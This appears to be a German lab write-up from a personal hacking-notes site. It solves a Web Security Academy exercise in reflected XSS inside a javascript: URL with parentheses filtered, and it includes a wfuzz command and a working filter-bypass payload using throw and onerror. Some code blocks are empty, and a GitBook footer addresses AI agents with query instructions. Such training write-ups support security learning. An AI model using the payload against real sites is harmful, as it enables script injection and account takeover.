> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-in-javascript-url-with-limited-characters.md).
# XSS in einer JavaScript-URL mit begrenzten Zeichen
### Reflektiertes XSS in einer JavaScript-URL mit einigen blockierten Zeichen
#### Ziel
Nutzung einer reflektierten XSS-Schwachstelle in einer `JavaScript:` URL, um `alert` mit dem `1337` Zeichenkette (die `1337` Zeichenkette muss irgendwo in der Nachricht vorhanden sein).
Die Anwendung spiegelt unsere Eingabe in einer JavaScript-URL wider. Auf den ersten Blick scheint die Aufgabe einfach, aber die Anwendung filtert bestimmte Zeichen, um XSS-Angriffe zu verhindern. Wir müssen einen Weg finden, trotz dieser Einschränkungen aus dem JavaScript-Kontext auszubrechen und `alert(...)` mit `1337`.
#### Beobachtete Quellcode-Analyse
Im Quellcode finden Sie den folgenden Link:
{% code overflow="wrap" %}
```javascript
Zurück zum Blog
```
{% endcode %}
Nach dem Dekodieren der URL erhält man:
{% code overflow="wrap" %}
```javascript
Zurück zum Blog
```
{% endcode %}
Beim Klicken auf „Back to Blog“ wird diese JavaScript-URL ausgeführt. Durch das Abfangen der Anfrage sehen wir, dass ein Aufruf an `/analytics`. Der `postId` Der Parameter wird aus der URL übernommen (`/post?postId=...`) und im Body der Analytics-Abfrage reflektiert wird.
#### Erster Versuch — Parsing-Fehler
Durch das Einschleusen eines einzelnen Apostrophs wird das Parsing unterbrochen (die ID wird ungültig):
```javascript
2'},{x:'
```
Das Apostroph bricht die Struktur, was zeigt, dass der Wert in einem Kontext eingefügt wird, in dem Anführungszeichen eine Rolle spielen.
#### Fuzzing spezieller Zeichen
Wir testeten schnell, welche Sonderzeichen eine gültige Antwort erzeugen (mit `wfuzz` und die `special-chars.txt` Liste). Verwendeter Beispielbefehl:
{% code overflow="wrap" %}
```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```
{% endcode %}
Die Ergebnisse zeigen, dass `&` und `#` einen 200-Code erzeugen — sie werden vom Parser akzeptiert und erlauben das Einfügen von Sequenzen, die die Struktur korrekt schließen.
Beobachtete Interpretation:
```javascript
post?postId=2&
```
#### Konstruktion des Escape-Vektors
Durch korrektes Schließen des Werts und Einfügen von Code erhält man:
```javascript
post?postId=2&'},{x:''
```
Hier `x` bleibt leer und die Syntax wird akzeptiert.
Dann versuchen wir, direkt ein `alert` einzufügen:
```javascript
post?postId=2&'},alert(1),{x:''
```
Aber `()` Klammern von `alert(1)` werden vom Filter entfernt — daher muss man die Pflicht zur Verwendung von `()`.
#### Umgehung ohne Klammern
Man umgeht die Verwendung von Klammern und nutzt kreativere JavaScript-Ausdrücke, um `alert` durch `1337` in der Ausgabe. Die verwendete finale Payload lautet:
```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.